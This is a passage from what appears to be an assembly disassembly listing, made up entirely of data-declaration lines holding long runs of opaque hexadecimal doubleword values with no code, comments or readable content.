		dd 0E718ADBCh, 0D6854968h, 695D69FFh, 0ADFD4484h, 692D6D1Ch
		dd 37AF386h, 86D4722Ch,	2CC07CC0h, 0CC04D0C5h, 0ED388962h
		dd 2E53B45h, 55A2E714h,	70CCE484h, 56CB5D7h, 0BDE62DDFh
		dd 0F0C70083h, 0A3E7DAADh, 0ADEDC789h, 0B43661B5h, 0ABEDCA04h
		dd 0C545A0F7h, 0D7A1ADD0h, 0D444FC36h, 519CF1C6h, 0EDBC09BCh
		dd 7922F7ABh, 17EDB1B7h, 21982452h, 0DA82ADAEh,	0E0C580B0h
		dd 0E0E7D2ADh, 0F475C810h, 0C80FC744h, 9FB1F3C7h, 85D87524h
		dd 41A889DFh, 9E8AFBFCh, 8DE0CEF4h, 0AD9129FCh,	0D4D0C725h
		dd 0AAB6E886h, 63FCCBC2h, 0C7902DA2h, 8143F37Fh, 0E91DA9EDh
		dd 2DE9C655h, 0AFF48061h, 70026B1h, 457521E7h, 605FEDF5h
		dd 0D0C514B7h, 0FDE7A7ADh, 2DC406BBh, 0E8FAD755h, 7F0D184h
		dd 716568E7h, 0E7FC2D52h, 0E68575A7h, 9EB8AAEDh, 0ADFE86E8h
		dd 0C4748268h, 1CADDD44h, 866D236Dh, 0F7AB42F3h, 0FFC65524h
		dd 66E7B83Ch, 0ADF68469h, 7DA1C031h, 0F9ADCD84h, 44448BD7h
		dd 916BF5E5h, 81604DE0h, 0A26F82ADh, 0ED90E379h, 716B9CFCh
		dd 0FE57C185h, 6F6D6261h, 0E7A42DA2h, 0F7C5AFB3h, 22C7E04Bh
		dd 6DEE8549h, 6DA4E7B6h, 0B7EDB5A8h, 854566E7h,	0F7F570E6h
		dd 0D304B093h, 0FC608C2Dh, 3083AECCh, 0A013C7A5h, 0FE80C147h
		dd 7C59E541h, 53372DB9h, 0B1F2CCF6h, 946C322Dh,	0B796FC80h
		dd 0B7E1A16Bh, 0D7F3DE86h, 0C694BBC7h, 0F7ED70C7h, 0F147A050h
		dd 0B7C7F36Dh, 34D2C470h, 0B42F807Bh, 4D34AD98h, 0C559A7A0h
		dd 0F7D56DF0h, 0E0C5752Dh
		dd 737C8D2Dh, 0B48F22FCh, 4833F7ECh, 0B02DD5C7h, 549E8E0h
		dd 0A0572DD6h, 0BBCC496Eh, 0A640A75Bh, 0EDA62155h, 0B4A901E7h
		dd 0E62DE984h, 44716DB1h, 0E7072DCDh, 0B40971A9h, 64D71F44h
		dd 74848275h, 716B60AAh, 12ADED84h, 727D6892h, 0A14D8BA6h
		dd 0B5B661A8h, 0ABA04D2Dh, 0EDF90471h, 0E036526Eh, 696DD984h
		dd 44A7F829h, 0E7D7CBC1h, 0DB84BF05h, 3A213471h, 0E3B46333h
		dd 0BC79834Bh, 7F7CF246h, 0C5968D80h, 983BBAFDh, 9E52E8F4h
		dd 169057B4h, 0ADA01FD8h, 75A5E7A6h, 4DEDC804h,	5D6124A0h
		dd 0F72B7CB2h, 0AAFE4D22h, 0BCD70E6Dh, 0EDB9375Ch, 7164E04Ah
		dd 9F63C87Fh, 8379ACE7h, 0BC42FB82h, 0D4059845h, 9AF744DBh
		dd 2DC53DC8h, 0BA0164F4h, 70F9C3C7h, 0BC1BD47Ch, 60522DC5h
		dd 0A621180Ah, 0D6C70B6Dh, 0F491B47Bh, 9487D7F5h, 30C3E9C6h
		dd 46A42EC7h, 748E63C0h, 0CF4520FDh, 0B942D7B0h, 2D8E70CCh
		dd 0A648C764h, 21385FB8h, 0BD79A262h, 0A04D2D5Dh, 0EC047529h
		dd 0DC32B1EDh, 0FCE947D0h, 5569A04Dh, 0DF2D41FBh, 0BB6966F7h
		dd 0C79F747Fh, 0BD72FF41h, 20F2F52Dh, 70C7C675h, 0B4FAE000h
		dd 0E708D6C7h, 12B53BE7h, 0F7DF7B49h, 0E6C47569h, 0E921A8BCh
		dd 0ED623755h, 616BB1D7h, 1800E845h, 469C7980h,	0E7864BC5h
		dd 0DB84A07Fh, 24CE138h, 36BF9AE8h, 45A17161h, 0D0FCD686h
		dd 9D277AF7h, 0D7FF538Eh, 0B99DCB8Fh, 0EF4C222Dh, 30838379h
		dd 6C6F7DAh, 6B2DEF84h,	20452A68h, 0F7706D99h, 0ED46C4BBh
		dd 0D2E7C96Dh, 2D8EAA48h, 0AE0162E5h, 8BFCC84h,	0A3E00F01h
		dd 0D7B8B45Eh, 9CE151E7h, 6EC73031h, 2D5D7B6Dh,	71E6B33Bh
		dd 71BCA440h, 7DFAB1F7h, 7CE62DA1h, 989864B3h, 0F4F7D338h
		dd 0F461A1C1h, 7DE991ADh, 1F2D93C2h, 0BE4DA7C7h, 0A1026D28h
		dd 0A8C349E0h, 6BE7D53Ah, 3AF64569h, 0F834B3A5h, 232DFB06h
		dd 86DCAAC7h, 0F0582DCEh, 0C70745A2h, 0A2E7D470h, 0B4E74569h
		dd 492FE725h, 632D8E40h, 32CA7FF7h, 99A3E434h, 0E986C439h
		dd 6BE7D342h, 6DCE8641h, 51A98D3Fh, 0CEADC0C7h,	0C6DC83D7h
		dd 0D7B0BEDEh, 0E646556Dh, 24E7DE6Dh, 0ADED4761h, 0C0C9E7A9h
		dd 8CADB26Bh, 847DA081h, 0A3A1F7C5h, 0CA06D4B5h, 0E0E7DC74h
		dd 2D956359h, 0C470D7F1h, 0B72DD646h, 86448EE7h, 0C7E2F4E4h
		dd 0E0C669AAh, 2ED7A633h, 0F47AB351h, 0D434D7DFh, 6E2DCE46h
		dd 46C43FD7h, 0F7DFCFC8h, 9B0D7D67h, 0DC765F7h,	0B7D304F0h
		dd 0D8C38093h, 0A6DE507h, 4C7DE95Ch, 0C7B838A2h, 0EAC761A5h
		dd 0D08C782Dh, 0B6A3EBECh, 7D21F72Fh, 87ED9D6Dh, 0C57561E7h
		dd 617777E4h, 0E4856561h, 20D7DE77h, 708CEF41h,	49208172h
		dd 0E32DCD84h, 0C64005E7h, 0D7B1C7EAh, 0E0464444h, 0BF7DEEDh
		dd 0F4B87754h, 75A0C707h, 0EB30D484h, 0C64C95E7h, 0F7ABEDDCh
		dd 0F9C7D0C1h, 0EDD7F5EDh, 0EDE9C661h, 696C41D4h, 1EAD9733h
		dd 0C4A445F7h, 0D74537F4h, 0D6C64566h, 0C9E7E4ADh, 0EDD6C56Ch
		dd 41ADF797h, 61F4C1C6h, 84C342D7h, 0D784EDEDh,	0C1C50480h
		dd 3E3160F4h, 0EDE00648h, 61ED9161h, 0B6B6EB44h, 69696BB3h
		dd 0A0530790h, 0EA4671ADh, 60E77486h, 0B79B4D79h, 0C8D4416Ch
		dd 0E4ADE4C7h, 2EE483E7h, 51356DA0h, 0ED857086h, 0EF730B6Dh
		dd 7FDEC755h, 49E9C725h, 0BA2DF505h, 0AE61A7D7h, 0E795ADB7h
		dd 0EEC56DEBh, 0A0E77A6Dh, 0ADC1C769h, 0C80AC7EBh, 2FEDD8C7h
		dd 85516D1Dh, 0D775C6D5h, 0C88659E5h, 0E811D2F4h, 2DC70455h
		dd 0C80BD707h, 85EDECC7h, 0C75D6AF7h, 0E7D5F4C2h, 0CB84D4D1h
		dd 0A1C714F0h, 6DE68455h, 756B932Ch, 0C1B6C644h, 485493C7h
		dd 0D71F8145h, 0B46869E0h, 0AD257B6Dh, 0AD67286Dh, 4DEC113Dh
		dd 796DE028h, 6869E63Dh, 57B6DA8h, 45286DEDh, 2D113DEDh
		dd 6DE3284Dh, 69251D79h, 7B6DB768h, 485DA51Dh, 8D846DAFh
		dd 0CF8455A2h, 0E89160ADh, 0B68FF459h, 640A335Eh, 7A2DB6A1h
		dd 6A6D2A61h, 0D260F6B7h, 0B602496Bh, 0E3E7A0F4h, 0ADBA814Dh
		dd 0CCCF51C2h, 0FFEDF544h, 3545EFE7h, 62AB6D52h, 8A2EE439h
		dd 0A043AC6Dh, 2DD3C7B0h, 7DE5F7B8h, 589E5C4h, 46652AC7h
		dd 0D7BCADD2h, 0D90551EDh, 0E5D2336Dh, 0ADE20471h, 59A9C705h
		dd 5C6DE6C5h, 0C55434C7h, 0F030B6FBh, 0D4474524h, 0E6D738F9h
		dd 0EDE1444Dh, 65E6F7DFh, 0ADBCCE86h, 84A8A9F7h, 0F73A2DCDh
		dd 401CECFCh, 15C77709h, 6DA075FBh, 61E4C00Dh, 36AD8F98h
		dd 9BA8C030h, 0F0FEBCADh, 0F3054DA2h, 0A63352ADh, 0F9D40745h
		dd 6DEFA120h, 0ACB95B1Fh, 755966F7h, 0F7F8B880h, 0AFB65524h
		dd 4C933F35h, 0ADD3C730h, 5D6BD2CBh, 0E634E9C5h, 853461D7h
		dd 0BCA42DEAh, 0E146849Fh, 0ABE261ADh, 0F0C70494h, 7DA5C0C2h
		dd 0AEEDE4C6h, 679E1F7h, 0D7702DFDh, 0D606616Dh, 0AAD751EDh
		dd 31E30475h, 416AC705h, 0A4ADD3C5h, 0C66DEDE7h, 9157ADF2h
		dd 0ED05A428h, 0E1F7A16Dh, 0AD92777Dh, 0A469D75Ch, 47ADECC5h
		dd 0C74DA4C7h, 0F01CEDE4h, 0E3C74561h, 66D774EDh, 0ADD70661h
		dd 5920C759h, 0E1AD58CDh, 0C5D65C7h, 0F04C70B3h, 0F5C57D22h
		dd 65C77F73h, 0EDE04649h, 60BBC039h, 0DFEDA9EFh, 57492CD7h
		dd 71FDFEB2h, 0A9A06520h, 0F6E054ADh, 31B29187h, 556BE7E1h
		dd 0A97F8A74h, 6C65E4A0h, 0F71A2DA6h, 0F2C445A7h, 0A043E1FBh
		dd 2D8D6371h, 596BF732h, 0FDADA54Fh, 0C57166D7h, 0F20337F0h
		dd 0E84645A5h, 0FFE72EADh, 0F0EE0424h, 5120C724h, 0AE2DCC84h
		dd 4F592FC7h, 0F7E7ADB0h, 0FFC7CCF1h, 0AEC726EDh, 0B0DFC649h
		dd 75AAC79Bh, 0A2EDE2C4h, 85D0C1E7h, 0A0FBADE7h, 0CB8649ADh
		dd 6A907BB1h, 2DC4C661h, 5965D7E7h, 84EDDCC6h, 0C7D0BB51h
		dd 11DBADD7h, 0AFB55965h, 169C4034h, 0ADE706ECh, 45A2B047h
		dd 33ADFAC6h, 70D485F7h, 0F7C9C1ADh, 0C7C58325h, 34918C79h
		dd 0F0F746F4h, 55AEE7DFh, 0B83687CDh, 0B5D036E7h, 0E7A8ED9Eh
		dd 981561EDh, 0EFF7FDADh, 6DE04465h, 65A563CAh,	0AABAC107h
		dd 0C465AAC7h, 0D7F837DEh, 0FA8465A6h, 0EAF7CB71h, 0ADBC4049h
		dd 8D384A2Ch, 5ED7552h,	855562E7h, 0D76771F9h, 0DC84D080h
		dd 2A933F6Dh, 0AD80945Dh, 7D6B21E4h, 74FCC2C5h,	47416BD7h
		dd 0C7DD34E9h, 0D1061B38h, 2CD7C9EDh, 8D1C6BCh,	83E3F015h
		dd 2FC6EBC5h, 1B0FA41h,	9097F1ADh, 0DDC651A2h, 0A5A26841h
		dd 0EDB5A179h, 0A35882B7h, 0D3F4F285h, 0AC7874C7h, 0D79CADB6h
		dd 0A60A7C73h, 0E5F7CF2Dh, 0EDFA0475h, 0ACA980C5h, 0E3ADD1C5h
		dd 45556BE7h, 704ABBD4h, 8D417925h, 8DC76F2Dh, 86D7C533h
		dd 0D831F793h, 0E0B016CDh, 63F044D7h, 0F7516DA1h, 0E946F4FDh
		dd 41BD2CEDh, 0EDEC04C0h, 71A94337h, 0E12DDAC4h, 0E3A03CC7h
		dd 0BDC42D89h, 0DDC5240Eh, 43C7E56Dh, 2DF5C770h, 7DAA407Ch
		dd 0A0ADE5C6h, 0C57166B1h, 220B2DE1h, 0E5C575A2h, 2AD7B66Dh
		dd 0ADCFC765h, 49E98117h, 15EDC684h, 0C67D67D7h, 0E7F773E7h
		dd 0EDC555A2h, 27F7B8ADh, 2D95E361h, 49E9A32Ch,	0F5139CE0h
		dd 3EC09BC7h, 0F7056D25h, 0E285656Ah, 0E72061B2h, 0EDD70475h
		dd 79E62061h, 0F5F2B7B6h, 854DA2E7h, 0D7472DCDh, 0B3DF8490h
		dd 6D6CC6EDh, 6DAC5945h, 409AC7E9h, 8F2DD246h, 46496A2Eh
		dd 0A185EDF0h, 6528EC82h, 0D241BC7Ch, 0F4FAC5EBh, 8C4BC7DBh
		dd 24EDE507h, 45E8B7D7h, 0E78B2DE7h, 0C1C575E5h, 0A0D7953Ah
		dd 7CA1EC69h, 7527D73Ah, 2BEDCD04h, 45B4CAE7h, 0E714EDDEh
		dd 0D88579A2h, 0A26DF4EDh
		dd 0B2D9C44Dh, 0F0B7D725h, 85EDCC04h, 0D845AAA1h, 3247AD6Fh
		dd 0A4283493h, 0AAA16FADh, 0F5D94649h, 5DA26C80h, 2DB2D945h
		dd 855DA262h, 0C755EDDEh, 0D846C4F8h, 57F71D2Dh, 2DDE4685h
		dd 82960288h, 477CE144h, 0D90F8C02h, 8DC42D91h,	0E085F402h
		dd 2EC7146Dh, 0B14B6C4Dh, 4525F707h, 1879FF84h,	4569E8F7h
		dd 0E7E3ADE8h, 0DDC641ADh, 0BFF725ADh, 6DCDC4FCh, 75A4102Dh
		dd 0A52D977Eh, 0C65DEDF7h, 3122FCC2h, 0FF845526h, 7561B879h
		dd 2DDDC4D0h, 75AAC7E4h, 65F2F1C6h, 67965D7h, 20A36DCDh
		dd 6DC16965h, 65C71FEDh, 0F4FD4745h, 0C3B56138h, 2BED8A31h
		dd 64486D7h, 0F04D6DE6h, 8A7970F3h, 642E88ADh, 0AD48FF55h
		dd 65ED9335h, 15F4D245h, 86496BF7h, 0D7E78BE1h,	914DA8E2h
		dd 58B1742Dh, 0C78FCFBEh, 2483A1BDh, 0A004C306h, 26DAAE7h
		dd 0C719ED5Eh, 0B060A423h, 32D7F2EDh, 0AD90777Ch, 647DE760h
		dd 0FFBCDA06h, 0C069E774h, 0D70F34BFh, 0AD5E77C2h, 7FF7A7F2h
		dd 38635F4h, 704FC7E7h,	26EDDD47h, 0C5E03F12h, 0E79571D9h
		dd 0E1C5716Ah, 0E3E78437h, 7FD9C775h, 65EDD714h, 86EDFA46h
		dd 0C665A6E7h, 604A6DEFh, 0EEC7C8C3h, 0ABC795EDh, 6DEDC56Dh
		dd 71EDA192h, 0F72DDA44h, 0C4756DE7h, 0F7E4EDEBh, 0E14555A2h
		dd 62F7D56Dh, 2DD34545h, 0ACCD3052h, 65ADCF45h,	65963C7h
		dd 0F75874DBh, 990E71E7h, 87523DB1h, 72ED06E4h,	6DAFD7DFh
		dd 85B4E146h, 286166E7h, 0E733AD50h, 0E90451EDh, 25D7B833h
		dd 0EDAD0279h, 4965F7F8h, 86EDE6C7h, 0C57DA1E7h, 0E7E774DDh
		dd 0A1E245E7h, 33D7A5D1h, 0ADF506DCh, 9C0EF730h, 0B9B4EE06h
		dd 14D78AE7h, 41227CB5h, 0DF854D2Ah, 3E8138BCh,	0ADE306D8h
		dd 0D8B273A4h, 7274A3A2h, 0C78BE291h, 0B1BDE7E1h, 85235DAFh
		dd 6BBCD82Dh, 35DB0559h, 7563C71Ah, 0D7ADCD85h,	58F25F7h
		dd 0B3362DE2h, 0E34675A3h, 0F37222F7h, 6DE85F4h, 0E433D060h
		dd 3EADF546h, 21AC34BDh, 0C07D2D89h, 0E8853462h, 6C7D2F7h
		dd 2DB9808Dh, 5926F7DFh, 2C31A6CFh, 0A8C2CE0h, 0E7DF2D85h
		dd 0E0054123h, 0E8F04BF4h, 0F6B496B8h, 696FE7E6h, 0D637D4C7h
		dd 4744B5F7h, 212DADE5h, 5F6E45A9h, 9AC72734h, 0F6FF45E4h
		dd 716BF7E6h, 0D7C6E007h, 447DE5F7h, 0F7E66DCCh, 890E4DE5h
		dd 65E002B6h, 3FF2456Dh, 0C4CBA060h, 646DECC5h,	85C458D7h
		dd 112F6F9h, 88216DA2h,	4112F7ADh, 70A12E4Fh, 7445C779h
		dd 7ADC804h, 0C555A0C7h, 0C7552DD3h, 0AEF765EDh, 5F7766Dh
		dd 0F7E50680h, 416D107Bh, 1A2DE406h, 5D494C7h, 9DD16DD8h
		dd 0FD4661EDh, 69F7E634h, 0EDD9C751h, 0D894F706h, 0A6F5DD07h
		dd 0C4596D81h, 0C79D74DDh, 0DCC765EDh, 20D7452Dh, 6DA4E955h
		dd 6DE5E757h, 6B7391A0h, 45DED31h, 132CB4EDh, 9EE8E04Ch
		dd 47E795F6h, 2DA029C8h, 44D891D9h, 68EDB5E0h, 0C4452583h
		dd 0B07BFECAh, 0ABBB49E5h, 2990E5EDh, 2DE58588h, 0E4D19150h
		dd 0A7EDF5C6h, 0C7E8CBF7h, 0BCADC3h, 9F1649Ah, 0A371A72Dh
		dd 0F7E30645h, 69E5A064h, 0E6B1E584h, 0C7C8A0C7h, 619C2DF6h
		dd 0BE407D6Eh, 69E707BCh, 2DA4827Dh, 0CC39E79Bh, 86B6B9A2h
		dd 0C57BF8E7h, 0C7253CC6h, 0EDC74DA9h, 0E9B1A0ADh, 37C8C56Dh
		dd 78B3C7C1h, 6D3396EBh, 445EDE7h, 0E767EDE0h, 0A27F75A2h
		dd 0A1E747EDh, 0EDE00565h, 45E4E11Ah, 2433CCC7h, 84692DF7h
		dd 0A76EDE4h, 0AFD55DA9h, 339172EDh, 0BCD706F4h, 6DA590E2h
		dd 0E9F3D784h, 0C5C432E7h, 0B306B8ECh, 0FA34D66h, 20C7A4ADh
		dd 77BE3875h, 65E3D7DFh, 4A84E146h, 44616B6Dh, 2068B9EAh
		dd 886380D5h, 0A7419CADh, 7485407Dh, 3421D730h,	0A32D4C3Ch
		dd 67798F7h, 0F7266DEEh, 0A5B555E5h, 7EE7A970h,	0F7846EF0h
		dd 0A4BB5291h, 2B6DE585h, 47165C7h, 0F707EDEEh,	956D51E9h
		dd 0A563E9EDh, 0F9B3236Dh, 49E7ECC3h, 0FBCCF06h, 0C6C4BE71h
		dd 61A6B2CDh, 0F6C741E4h, 0EDD726F4h, 8CFDC67Dh, 656DC7E1h
		dd 0BBEDD9C5h, 4741ADA0h, 0F7EAFCE0h, 0B12E7125h, 44D735F1h
		dd 2DCC85A4h, 40B5F7C6h, 0E170F3C4h, 0EB69E2D7h, 0E7F57191h
		dd 0F70545EDh, 0EDD76471h, 0EDA73775h, 0B439D71Fh, 7E2D8E37h
		dd 7538E8D7h, 0C71AC71Eh, 0D6C5F84Fh, 658D46E1h, 7C2AA34Dh
		dd 0F449D774h, 0F537EB06h, 0F7E01BF7h, 0C06571BCh, 998255E4h
		dd 0A4C0E7EDh, 0EDE6C67Dh, 9022E7A6h, 0A4ED9462h, 38696BD7h
		dd 0D00136A9h, 0A0B76C04h, 658029EDh, 0EDFD4649h, 0E43A512Bh
		dd 0D2D8D4Fh, 0CD7124C7h, 505D8066h, 0C9C428F6h, 25D2D279h
		dd 0ADE9C76Dh, 983CB1F4h, 93C08055h, 4B4A450h, 0C76679FCh
		dd 0E94549E5h, 7012F536h, 0EDA7F8ECh, 0D68640C2h, 0D3ADCDC5h
		dd 45C34DC7h, 91F42DE1h, 0DEC5C459h, 21E7A2EDh,	0AD968261h
		dd 0CCB0E7FBh, 16ED59E2h, 82F84989h, 882D3C46h,	0F6848442h
		dd 0E8F7DFADh, 3FF20571h, 95B97D40h, 0E6BFB28Fh, 0C69C39C7h
		dd 6D892DD8h, 8E20E433h, 6BE7202Dh, 2DFB074Dh, 8441C4F1h
		dd 61BCB412h, 0F8057A1h, 58F4ED6Dh, 0C645616Bh,	0E7B05678h
		dd 7F2057Dh, 0A57A206Ch, 0CBDBA619h, 0C67D6B21h, 7197B3FDh
		dd 0C9C751A0h, 0E3E7EC6Dh, 6DA40F65h, 71E7E7DEh, 0F76D8458h
		dd 0E151E6F7h, 0D729ADB2h, 0D805412Ah, 9DF7C96Dh, 6DE0C700h
		dd 9340D7C2h, 0BA75ED04h, 0EB59ADE7h, 0F79F70B5h, 60AA716Dh
		dd 40D7CF6Dh, 6DB8EA0Ch, 0CB187CB8h, 70EDE006h,	85D7DBD7h
		dd 9FD16DF8h, 804269E5h, 839162C0h, 0ADF2C5ECh,	712AD730h
		dd 0DF83D007h, 0E151AAF7h, 0D02EFFA3h, 932A6DE5h, 0ADE7F52Dh
		dd 0FCE0C693h, 94C258F3h, 0B483FE47h, 7C752DE7h, 0C7266DB1h
		dd 0FD0669ADh, 2DE7B684h, 0B3E64549h, 0C4335233h, 0C1B3C187h
		dd 0C75166D7h, 0D73983FFh, 0F0C749A7h, 0E8D7C6ADh, 6DEFC794h
		dd 65E1F761h, 412DDFC7h, 0C4B0F4C0h, 0F00B6DE1h, 0F6C46525h
		dd 6DE7C131h, 0FAA47669h, 0B4CBC785h, 91AD5978h, 9EDC76E7h
		dd 0D7DBED8Eh, 0E5C7A7A7h, 4F4252B7h, 0C9D6C5E8h, 3766F7E4h
		dd 33EDFA04h, 345DEDA1h, 20FB6DADh, 0FE855D22h,	896010B4h
		dd 0ED9EBC3Fh, 0AF40C784h, 1F6DE104h, 0A34D65D7h, 0C7C0F728h
		dd 9CA08880h, 2D419EFAh, 33683F4Dh, 7D60C7F8h, 0B8ED9CD4h
		dd 471ACE7h, 7186ADE2h,	0CDB46528h, 52E7EB2Dh, 0AD8D9410h
		dd 652130EDh, 8DADF4C7h, 7FA34040h, 0F71A03A0h,	0B1F79157h
		dd 920A271h, 6DADED10h,	692FE71Fh, 1F6DF1B8h, 6061EFF7h
		dd 0C7DF6DB1h, 831845E5h, 47D76F74h, 0AD5110F8h, 0B2C9D726h
		dd 0E4B7B076h, 4688FCE7h, 0E7D1B4E5h, 79E07528h, 298DB7EDh
		dd 0B4885A6Dh, 696B1308h, 1BEDCEC5h, 0C7C88650h, 5CFD6DE8h
		dd 0D6464520h, 8401F66Dh, 6DC5C6F0h, 7BC7233h, 0C947EF46h
		dd 7368B5F7h, 940960CEh, 0EEF2A97Eh, 0E6D7F308h, 20FFB26Dh
		dd 4968945Dh, 0B500D672h, 9437DBC7h, 83B9ED5Ah,	0F3FD9D85h
		dd 6FA134E3h, 0F340E04Dh, 0FDF2F7A1h, 0FAEDAAA1h, 0C410468Bh
		dd 6EB5FCE0h, 0AF1065A2h, 10124B3h, 6DE8C70Ah, 68B2D7C0h
		dd 72ADF384h, 796D60h, 0F751ED96h, 0DEC6A480h, 75F7E6EDh
		dd 0F4C605C4h, 65A5C7F8h, 21F7EFC4h, 661E2C7h, 0D7D96DEEh
		dd 0DEC5E876h, 0BBE746EDh, 0EDB06ED3h, 756AAD54h, 0A2BEF184h
		dd 86D88BF0h, 0C72BBCD2h, 0E80471E9h, 26F705EDh, 3CEE8575h
		dd 792943E7h, 9B6DA400h, 0E1E4F0E7h, 0D75FF7ACh, 0E64444B2h
		dd 144CD2B4h, 6DED84ACh
		dd 79ADE780h, 0CBF19300h, 85A6B4C7h, 0E7FFFFD4h, 0F04769ABh
		dd 28E07FF4h, 0BFDB4769h, 512DF7B3h, 76DE504h, 0EC5DA9D7h
		dd 0C7822D8Ah, 9942CCB5h, 0A2C7B3EDh, 87FC456Dh, 6800C7DDh
		dd 56D65B9h, 5496BE7h, 60C9ADCFh, 0C544456Ah, 0A053372Dh
		dd 0EDFC4645h, 0E7B3F7CDh, 0D577E485h, 65800C7h, 0F7CC6DD3h
		dd 0FDC748BBh, 81252Dh,	0EDA6B778h, 0E431F7E2h,	0B6EDE6C6h
		dd 655EBA1h, 0C75D2DCDh, 0B9814D6Eh, 0A9E7FF2Dh, 0B4A2CC49h
		dd 78C0F7B8h, 7AB4E284h, 4444C0F7h, 5F492DE5h, 0B58C61E2h
		dd 0A3913457h, 0ED752F59h, 0C4B9C7EDh, 496DFD44h, 0C461665Fh
		dd 0E7EEC6CDh, 0E884AC36h, 0F8E7846Dh, 6DE884E7h, 7D2A5F81h
		dd 7274D005h, 75556073h, 0E77FED93h, 0BD2D55AAh, 95632AADh
		dd 6D6859C8h, 0DF3ED78Ch, 0DF04BDE2h, 759ACE7h,	0A241F4E3h
		dd 6BB6F875h, 0A265A5F4h, 0BFE7C551h, 72C4D76Fh, 0FFEDC404h
		dd 46C7C7C7h, 0D15AADCDh, 0FD47612Ah, 0F7D7702Dh, 0ADBCECECh
		dd 59E5C7F8h, 0FF2DF506h, 46876DE7h, 33F1ADF7h,	0B3A4FC3Ch
		dd 6CE7AABBh, 0F4C68771h, 796BA034h, 86EDC3C7h,	0C665A6B3h
		dd 0C784BED7h, 9B2871AAh, 2AC7686Dh, 6DAFA171h,	6526E764h
		dd 0E7ADD245h, 0F751ADE7h, 0D784ED8Bh, 0C104752Ah, 0E7C7EAEDh
		dd 0EDEC0471h, 7169F729h, 0C0EDAAABh, 0C749E9F7h, 0C7262DDCh
		dd 0EBC665AEh, 8BC78DB7h, 0ED64A844h, 49A1C774h, 862DF646h
		dd 0C47DA513h, 318176EEh, 0FA0671A2h, 0A9C707ADh, 2DE6845Dh
		dd 49E6D731h, 0A2EDDC86h, 0A4FFD2F7h, 0F7AFBE90h, 0E6066752h
		dd 0EA1234FFh, 0EDF70471h, 55E6E71Fh, 34769725h, 4645A0C7h
		dd 0C7C2ADF8h, 0A3305CC0h, 5DD7A5EDh, 2DE605CCh, 516BC7B8h
		dd 8AEDE1C7h, 0CC1001F7h, 0C78F6D9Ch, 0DE05CB03h, 26F01E2Dh
		dd 0BEF00455h, 87DA01B8h, 0B016FF84h, 6A9099C7h, 13D9ED81h
		dd 0D746456Dh, 26F76AF7h, 0EDBCA84Dh, 416BE7B0h, 2BF9EDC7h
		dd 0F559E9D7h, 0D7F8EDA2h, 0EB847DA6h, 1EE71CB7h, 6DA68CA8h
		dd 69A5E714h, 0EB2DD0C5h, 47124C7h, 0D71A2DF7h,	0BE2F5358h
		dd 2432C46Dh, 6D6CAA55h, 71A9D722h, 796DE9C5h, 0A248B903h
		dd 0D7B2B6BCh, 903D5C97h, 6BEC61EDh, 89F98441h,	0B764EC61h
		dd 7ADF046h, 84612BE7h,	0A02AB3DCh, 0F005C038h,	0A0D7E7ADh
		dd 0EDF3C741h, 69A911CCh, 0F881C8C5h, 775565F7h, 0E05FEDADh
		dd 0ECC57565h, 0ABF7AB6Dh, 0EDABAB8Ch, 61E80382h, 91F0874Bh
		dd 456DEEF7h, 0D7AE2DCEh, 0F0C57D2Ah, 6DC7A47Eh, 6DEDC545h
		dd 49A1D726h, 937683F6h, 67DE1E7h, 0C7AD6DE6h, 0A16169EDh
		dd 25E7F8EDh, 0ED3DD671h, 7924D7C7h, 0C4ADE5C4h, 977569F7h
		dd 0F769AD91h, 0D904B06Eh, 6AF7C56Dh, 0EDA0BF4Dh, 7165F058h
		dd 806DD704h, 0C4B8F303h, 8D7635DAh, 0B34DB0EEh, 6993382Dh
		dd 0ADD036BCh, 616B919Fh, 1FADED06h, 0D155EBF7h, 93386D5Eh
		dd 0EE0451EDh, 2FD40C74h, 0EDE60618h, 55E11197h, 0F570ABA2h
		dd 376DE1C7h, 0F7F8ADB9h, 43376D6Ah, 0E9C758EDh, 0EDBAE87Dh
		dd 0D0F0A0E9h, 0F76DA8B6h, 0C765E5F7h, 2143EDDCh, 0E4C749A5h
		dd 6892462Dh, 0ED9CAB51h, 40DFB104h, 9174E2C7h,	37416BC7h
		dd 9CA5FE9Fh, 0E08455A5h, 61C764F0h, 2DD60471h,	0B46BD017h
		dd 0B3ADED04h, 36BC4AACh, 0E21BED58h, 0E00545A2h, 0DCD7136Dh
		dd 76C38543h, 6DAAC791h, 6411FDC7h, 0F92429F7h,	0DE17EDA3h
		dd 0C3C5596Bh, 0AAC79776h, 11FDC761h, 307EE725h, 9FADA5F6h
		dd 0E1FC10D7h, 0F7E5909Bh, 8C9734BDh, 54F7AD2Dh, 0FA9577D3h
		dd 5832D725h, 33ADBA31h, 0F7D835C7h, 153F7177h,	0C60663D2h
		dd 2E4B6FEDh, 0BEF04665h, 71A9C170h, 302DC1C5h,	2D144FF7h
		dd 0D7A6D04h, 0D0C78056h, 90F7C6EDh, 0EDE20474h, 0F08C82E6h
		dd 52F4D804h, 6D4C6F7h,	0E7B8FAFAh, 82AB516Ah, 0D06178F4h
		dd 0ADD0C748h, 0C43DD7DAh, 89FCDE06h, 84D80140h, 5D7E6DC2h
		dd 0B3AB70B3h, 0C1D7ACD1h, 0EDE9C793h, 9381D76Ah, 0B1EDAFDCh
		dd 0C484816Ch, 0E70DADFCh, 0AA8871E2h, 90F7F8F9h, 0FE82A258h
		dd 0A03A8166h, 0AD2DCD47h, 8471E052h, 0E7AA6DAEh, 8E0D5961h
		dd 66D758B8h, 0EDE7448Ch, 75A2F7B2h, 0D92DB2F6h, 0B6D0DB81h
		dd 7CCDB182h, 0FB468B23h, 7B1831EDh, 76FE04C4h,	69A9F707h
		dd 1F43C547h, 9F59A5F7h, 0F7B8FF63h, 0AD4A6D22h, 627A8BEDh
		dd 0EDDC447Dh, 75A900AAh, 25EDEB04h, 3E79A9F7h,	0F7B8EDBDh
		dd 173E5D6Ah, 0A260CF2Dh, 0ADB68969h, 49E0D731h, 312DE345h
		dd 645E8F7h, 0C7F1ADE5h, 0ACB96DA0h, 0A7E7F46Dh, 7BDC0575h
		dd 656B5178h, 1F19036h,	3541AFC7h, 0E7E1F205h, 0F74569A2h
		dd 95E7B0F2h, 0ED81ABF8h, 0AC4E32E2h, 40EDABCCh, 357DE423h
		dd 73716DBDh, 0D384556Dh, 90C707F2h, 0F7D9843Ch, 7806D7F6h
		dd 0F12D8E61h, 0C67166D7h, 9162ADD1h, 0B9F16DE9h, 6E7F43Ah
		dd 82C484E4h, 65EA6CCAh, 67AD91B4h, 545E1E7h, 0E71BF2E7h
		dd 0F006BF9Dh, 6BE04AF2h, 0ED8E3571h, 0F65126Eh, 27F1BF9Ah
		dd 4644A0F7h, 0F7816DD1h, 0B19853B3h, 0A91CBDADh, 0ADB86979h
